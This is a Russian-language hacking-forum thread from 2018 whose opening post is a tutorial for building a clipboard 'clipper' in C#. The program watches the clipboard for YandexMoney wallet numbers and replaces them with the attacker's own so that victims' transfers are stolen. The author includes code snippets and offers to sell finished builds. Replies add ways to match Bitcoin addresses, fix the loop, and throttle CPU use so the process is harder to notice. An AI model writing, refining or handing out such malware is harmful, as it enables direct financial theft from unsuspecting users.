Загрузка...

Author's article Making your own clipper in C#

Thread in C# created by Kenny911 Mar 14, 2018. 2162 views

  1. Kenny911
    Kenny911 Topic starter Mar 14, 2018 Banned 26 Jan 12, 2018
    И так, последнее время заметил на "хайпе" клипперы, появилось много тем о продаже такого добра, поэтому решил рассказать как можно самому настряпать клиппер.

    Для начала разберемся что это такое да с чем его едят

    Клиппер проверяет буфер обмена на наличие в нем адресов кошельков(или любых других значений), а затем как только получает подходящие значение меняет его на заданное вами. Допустим человек хочет перевести деньги на определенный номер, для примера это будет "12377732323", копирует этот номер,а когда вставляет то вставляется уже ваш номер"228133722", ну и денежки уже переводятся на ваш счет.

    Ну вот что это такое разобрались, теперь переходим к воплощению этого творения

    Писать мы будем на c#, ну и ясно понятно для этого нам понадобится VisualStudio, если нет - скачиваем тут
    Запускаем Visual Stusio и создаем новый проект - Приложение Windows Forms (.NET Framework)
    Открываем код формы и видим что то подобное
    Code

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;

    namespace [название вашего проекта]
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }
    }
    }
    Подключим все необходимое - стираем все строки с using и вставляем на их место это
    Code
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using Microsoft.Win32;
    Отлично, теперь сам клиппер. Сначала добавим все наши кошельки, которые будем менять, в данном примере рассмотрим только YandexMoney. После InitializeComponent(); на следующей строке пишем это
    Code
     string yandex = "тут ваш номер кошелька";
    Создадим строку получающую значение из буфера обмена
    Code
    string buffer = Clipboard.GetText();
    Далее, мы знаем что номер яндекс кошелька всегда начинается с значения 41 и имеет 15 символов, значит делаем проверку буфера по этим параметрам, и при обнаружении сходства меняем значение на свое
    Code
    if (buffer.StartsWith("41") && buffer.Length == 15) //Проверяем буфер на яндекс
    Clipboard.SetText(yandex); //если опознали яндекс - меняем на свой
    Так же мы знаем что номер кошелька не может содержать пробелов, поэтому добавим еще проверку
    Code
    if (buffer.Contains(" "))
    Console.Write("Это не яндекс");
    else
    if (buffer.StartsWith("41") && buffer.Length == 15)
    Clipboard.SetText(yandex);
    Почти все, но так мы лишь 1 раз проверим буфер на соответствие, поэтому зациклим данную функцию
    Code
    while(true)
    {
    if (buffer.Contains(" "))
    Console.Write("Это не яндекс");
    else
    if (buffer.StartsWith("41") && buffer.Length == 15)
    Clipboard.SetText(yandex);
    }
    Теперь готово, можете компилировать и проверять, ну а далее уже добавляете другие кошельки или что вам угодно. Данный код лишь для примера, того как можно реализовать свой клиппер. Но у него будет иметься небольшой минус - .NET зависимость, хотя он установлен практически на каждом компе. Если тема зайдет расскажу как это проделать без зависимостей на c++

    Ну а если вам влом или до сих пор не поняли как такое сделать - можете заказать у меня, как исходники так и готовый клиппер
     
  2. ayan2030
    ayan2030 Mar 14, 2018 Banned 8 Feb 27, 2017
    а как сделать проверку буфера на биткойн кошелки?
     
  3. Kenny911
    Kenny911 Topic starter Mar 14, 2018 Banned 26 Jan 12, 2018
    Пример тебе дан и разжеван, а дальше уже сам развивай идею)
     
  4. RaysMorgan
    RaysMorgan Mar 14, 2018 Че скажете 54,010 Mar 7, 2013
    ayan2030, можно проверить отсутствие пробелов и длину на 30-60 символов (не помню, какой длины адрес битков) и отсутствие http/www в буфере обмена
     
  5. Hangover_inactive59523
    тут нужнен всего 1 юзинг, using System.Windows.Forms;
    Это нужно закоментить вообще, форма тут не нужна и инициализировать её не нужно.
    Это строку нужно в твой цикл вставить, а не вне его, а то ты получаешь 1 раз содержимое буфера и бесконечно чекаешь одно и тоже значение.
    Твой цикл жрёт очень много ресурсов и его сразу найдут в процессах. Ибо он трахает проц оч сильно за короткое время.
    Нужно добавить задрежку:

    1)using System.Threading; в юзинги
    2) Thread.Sleep(500); в конец цикла.

    С такой задержкой мы в любом случае поймаем кош, и к тому же уменьшим жор ** в 10000000000000 раз.

    Есть ещё куча моментов для оптимизации, но как пример выше сказанных достаточно
    А так статья не о чём, что в ней авторского неясно.
     
  6. TomRedl
    TomRedl Mar 14, 2018 333 Mar 8, 2018
    и я ахуел проста.
     
  7. Kenny911
    Kenny911 Topic starter Mar 17, 2018 Banned 26 Jan 12, 2018
    Писал не проверяя :biggrin: Но все же идея понятна, и кто понимает - легко продолжит работу
     
  8. Bartala1
    Bartala1 Mar 21, 2018 Banned 235 Nov 10, 2016
    Такую кривую хрень я ещё не видел,закрыто.
     
Loading...
Top